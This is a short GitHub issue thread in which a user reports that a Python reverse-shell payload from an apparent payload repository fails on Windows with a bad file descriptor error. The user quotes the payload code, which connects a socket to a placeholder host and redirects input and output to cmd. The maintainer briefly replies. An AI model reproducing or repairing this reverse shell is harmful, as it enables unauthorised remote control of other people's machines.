Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OSError: [Errno 9] Bad file descriptor #1

Open
CJSparrow opened this issue Oct 23, 2020 · 2 comments
Open

OSError: [Errno 9] Bad file descriptor #1

CJSparrow opened this issue Oct 23, 2020 · 2 comments

Comments

@CJSparrow
Copy link

CJSparrow commented Oct 23, 2020

Hello,
I tried to use this payload /windows/python/socket_reverse.json , I ran it on windows, but the payload didn't work, and I got this error :

OSError: [Errno 9] Bad file descriptor

I found same error on Stack Overflow.

the payload code was:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("host",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call("cmd")

I couldn't understand how to fix it, so can you help me out please?

@Ekultek
Copy link
Owner

Ekultek commented Dec 24, 2020

It's been a minute since i've touched this so i'll look into it

@CJSparrow
Copy link
Author

It's been a minute since i've touched this so i'll look into it

It's been 26 days since you looked into it

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants